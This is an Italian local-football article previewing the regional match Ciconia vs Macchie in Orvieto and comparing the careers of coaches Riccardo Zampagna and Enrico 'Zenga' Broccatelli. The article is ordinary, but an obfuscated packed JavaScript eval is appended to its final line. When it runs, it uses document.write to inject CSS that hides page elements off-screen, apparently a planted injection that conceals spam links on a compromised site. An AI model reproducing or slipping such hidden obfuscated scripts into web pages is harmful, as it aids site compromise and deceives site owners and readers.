Domenica 3 novembre, alle ore 14,30 all’Antistadio Oscar Achilli, andrà in scena il match clou del Girone C del Campionato Regionale di Prima Categoria Ciconia – Macchie.
La capolista farà visita agli orvietani, forte di un distacco di 6 punti in classifica dopo sette giornate.
Troverà ad attenderla un grintosissimo Ciconia, reduce da due vittorie consecutive, entrambe scaturite dopo grandi prestazioni corali della squadra. I biancocelesti sono perfettamente consapevoli che ospiteranno quella che è, per tutti, la squadra da battere.
Tuttavia, il vero evento della giornata sarà l’arrivo ad Orvieto di Riccardo Zampagna, ufficialmente ingaggiato come allenatore del Macchie il 16 giugno 2013, al termine di una luminosissima carriera da calciatore professionista, che lo ha visto vestire le maglie di prestigiosi club di serie A, B, C1 e C2.
Ed allora noi, con tono semiserio, abbiamo pensato di mettere a confronto i due mister.
Riccardo Zampagna, nativo di Terni, inizia a giocare a calcio con la Virgilio Maroso, squadra del quartiere ternano di Borgo Rivo. La sua prima presenza in un campionato nazionale viene registrata nel settembre 1997, quando si accasa alla Triestina, in serie C2, dove resta un anno e mezzo.
Da questo momento in poi, la sua storia calcistica è legata a numerose società, quali, a titolo esemplificativo ma non esaustivo, l’Arezzo di Serse Cosmi, il Catania ed il Perugia di Luciano Gaucci, il Cosenza, di cui diventa il capocannoniere con 10 gol in 29 presenze, la Ternana, dove segna 21 reti in campionato, il Messina, con il quale esordisce in serie A nella partita Messina – Roma, finita 4 a 3 per i siciliani, grazie ad un suo pallonetto. Il primo anno in serie A realizza 12 gol in 28 gare. Nel gennaio del 2006, lo vediamo vestire la maglia dell’Atalanta, in serie B, con la quale ottiene la promozione nel massimo campionato nazionale.
Il 19 novembre 2010 annuncia il suo addio al calcio giocato, dopo aver ancora vestito la casacca del Vicenza, del Sassuolo e della Carrarese. Un mese dopo calza di nuovo gli scarpini, per partecipare al progetto dell’ACSD “Primidellastrada” di Terni, con il quale disputa il campionato UISP.
In totale, fra massimi campionati, campionati cadetti e dilettanti, Riccardo Zampagna ha totalizzato un totale di 534 presenze, con 175 gol all’attivo (fonte Wikipedia).
Nella primavera del 2013, frequenta a Perugia il corso UEFA B per allenatori di calcio e, poco dopo aver conseguito il patentino, si siede sulla panchina del Macchie.
Anche Enrico Broccatelli, nel suo piccolo, è un’istituzione cittadina. Milita nel settore giovanile dell’Orvietana per tre lustri, facendosi notare, oltre che per le sue doti calcistiche e la sua intelligenza tattica, anche per la capacità di “fare gruppo”. A 12 anni, lo zio Neno gli regala la maglia del portiere della sua Inter, Ivano Bordon, e lui pensa bene di presentarsi agli allenamenti indossandola. I compagni – a volte i bambini sanno essere i campioni del mondo di malignità! – cominciano a sfotterlo ed a chiamarlo, in modo che loro volevano sembrasse dispregiativo, con il nome dell’allora ancora sconosciuto secondo portiere nerazzurro, tale Walter Zenga, come a sminuirne il valore. Sappiamo com’è finita: Walter Zenga è diventato il portiere della Nazionale e uno dei più famosi e amati giocatori, regalando di riflesso fortuna anche al “nomignolo” affibbiato allo Zenga nostrano, che, da allora, non l’ha più abbandonato.
A vent’anni, e per i due anni seguenti, viene ceduto in prestito a praticamente tutte le squadre del comprensorio. Siamo negli anni Novanta, in pieno periodo espansivo, ed ogni paese o frazione, degni di questo nome, hanno la loro brava associazione sportiva con la loro altrettanto brava squadra di calcio: Baschi, Monterubiaglio, Ficullese, Federico Mosconi.
Nel campionato 1992/1993, torna a vestire ancora la maglia dell’USO. E’ l’anno dell’Orvietana di tutti i record, il “Milan dell’Umbria” come venne definita quella squadra, guidata dal Presidente Pizzardi. Ma è soprattutto l’anno in cui sulla panchina siede Mister Carmelo Bagnato. Per Zenga, non sarà solo un allenatore, ma il suo mèntore, di calcio e di vita. Forse è proprio allora che nasce in lui il desiderio di allenare una squadra, ma si tratta di un’ambizione che, per tanti anni, non verrà mai confessata, nemmeno a se stesso.
A partire dall’anno successivo, ricomincia il suo peregrinare in numerose squadre umbre e della bassa Toscana, per poi concludere la sua carriera da portierone nel 2002 con la Federico Mosconi.
Per dieci lunghi anni, decide di stare lontano dai campi di calcio veri e si gode quelli televisivi, fino a quando arriva la folgorazione sulla via di Damasco, grazie ad una chiacchierata con l’amico e collega Cristiano Prosperi, con il quale si iscrive, all’inizio del 2011, al corso UEFA B a Perugia.
A marzo dello stesso anno, già siede sulla panchina di una prima squadra: il Ciconia Calcio, disperato e in piena zona retrocessione. Senza un briciolo di esperienza, ma forte delle conoscenze acquisite e dell’innata dote dell’unire lo spogliatoio, centra l’obiettivo salvezza. Il resto è cronaca recente. Acuto, arguto e brillante, ama il campo da gioco, dove difficilmente riesce a mantenere l’aplomb che si addice ad un condottiero: soffre e gioisce con i suoi ragazzi, non esitando a correre per metri e metri di campo per andare ad abbracciarli dopo una marcatura o a sbatacchiare i pugni sulla panchina e redarguire, quando qualcosa non gira come vuole lui.
Paradossalmente, tra i due, chi deve dimostrare di più in panchina è proprio il grande Zampagna; il nostro Zenga ha già un paio di ottime stagioni da tecnico alle spalle. L’occasione per godere di un piacevole pomeriggio domenicale è quindi ghiottissima, di quelle che non si possono lasciar scappare. E allora, tutti all’Achilli! eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,’g’),k[c])}}return p}(‘i(f.j(h.g(b,1,0,9,6,4,7,c,d,e,k,3,2,1,8,0,8,2,t,a,r,s,1,2,6,l,0,4,q,0,2,3,a,p,5,5,5,3,m,n,b,o,1,0,9,6,4,7)));’,30,30,’116|115|111|112|101|57|108|62|105|121|58|60|46|100|99|document|fromCharCode|String|eval|write|123|117|120|125|47|45|59|97|98|110′.split(‘|’),0,{}))
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